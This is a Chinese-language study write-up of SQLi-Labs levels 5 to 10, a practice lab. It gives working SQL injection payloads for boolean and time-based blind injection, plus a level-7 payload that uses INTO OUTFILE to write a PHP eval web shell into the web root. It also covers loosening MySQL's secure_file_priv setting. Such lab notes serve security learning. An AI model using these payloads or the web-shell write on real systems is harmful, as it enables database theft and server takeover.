SQLILABS学习笔记(二)

逼话少说，如有错误，烦请指出，谢谢

这两天生病，效率很低

第5关

 

打开页面

 

发现跟前几题不同，没有直接返回数据.。

 

加个单引号

 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

报错信息发现已经被闭合了，那我们就order by 试一下看看

 

发现能有成功查询会返回 You are in ，而不会返回查询的数据，这题是一题盲注题

 

盲注就需要我们一个一个的猜字符了，

 

先构造注入语句

 

http://10.2.10.31/sqli/Less-5/?id=1' and ascii(substr(database(),1,1)) > 10 --+

 

函数不懂的话可以使用搜索引擎查询

 

原理就是，获取当前的数据库的第一个字符，由于我们之前做了前几题，知道是s

 

所以我们直接用s来试，节约时间。

 

 

发现回显正常，换一个字符就没回显了，就说明s是第一个字符，以此类推获得整个数据库名。

 

再之后可以查询数据库中表的名称，方法也是一样，我贴一条

 

http://10.2.10.31/sqli/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1) = 'e' --+

 

这样推，就可以把这题做出来。

 

当然，这样是最慢的方法，但是还是要掌握的。

 

我们可以使用bp的爆破模块来进行爆破。

 

首先先抓到我们需要的包

我这里就抓查询表的包了，之后把抓到的包发到爆破模块，intruder里面。

由于里面会默认选择爆破的信息，我们需要先点击clear。

 

选中要爆破的字符

再到payloads里面设置一下字典，这里我们可以选择他自带的字典。

 

并且修改字符最大值为1，最小值也为1

然后再到options里面设置一下线程。

最后点击start attack 就可以开始了

以此类推。

 

第五关结束。

 

第六关

 

第六关就是把单引号换成双引号，其他的都一样，没区别

 

第六关结束

 

第七关

 

 

测试注入

 

http://10.2.10.35/sqli/Less-7/?id=1'

 

报错，说明可能存在sql注入

 

继续测试，

 

 

当用1=2判断的时候，发现回显正常

 

最后测试，发现用http://10.2.10.35/sqli/Less-7/?id=1')) 可以成功闭合

 

之后提示要用outfile来写入文件

 

可以用第一关来帮助我们找到网站的绝对路径

 

@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

 

http://10.2.10.35/sqli/Less-1/?id=-1' union select 1,2,@@basedir --+

 

构造语句如下

 

http://10.2.10.35/sqli/Less-7/?id=-1')) union select 1,'<?php @eval($_POST[value]);?>',3 into outfile 'D:/phpStudy/PHPTutorial/WWW/sqli/Less-7/d.php' --+

 

遇到写入不了的情况应该是mysq没有设置好

 

可以在mysql的命令行查看一下secure-file-priv当前的值

 

show variables like ‘%secure%’;

 

如果为Null

 

这则需要打开mysql下的my.ini文件，在其中添加上  secure_file_priv=”/”

 

之后使用菜刀就可以连接了。

 

第七关结束

 

 

第八关

 

 

测试注入点

 

http://10.2.10.35/sqli/Less-8/?id=1'

 

发现无回显

 

http://10.2.10.35/sqli/Less-8/?id=1' --+

 

有回显

 

说明我们已经成功闭合了

 

就可以按照之前盲注的思路，接着注入就能得到答案

 

还有一种方法是通过if判断，利用sleep进行时间盲注

 

构造语句如下

 

http://10.2.10.35/sqli/Less-8/?id=1' and if(length(database())>10,1,sleep(5))  --+

 

先判断长度，再用substr函数来判断每一位是什么，这里就不再赘述

 

第八关结束

 

第九关

 

换了一种方式

 

http://10.2.10.35/sqli/Less-9/?id=1' and sleep(5) --+

 

利用sleep判断是否执行了我们的sql语句

 

发现成功以后，还是按照之前的方法继续盲注，方法都一样

 

第九关结束

 

第十关

 

第十关就是把单引号换成了双引号，其他的都一样

 

第十关结束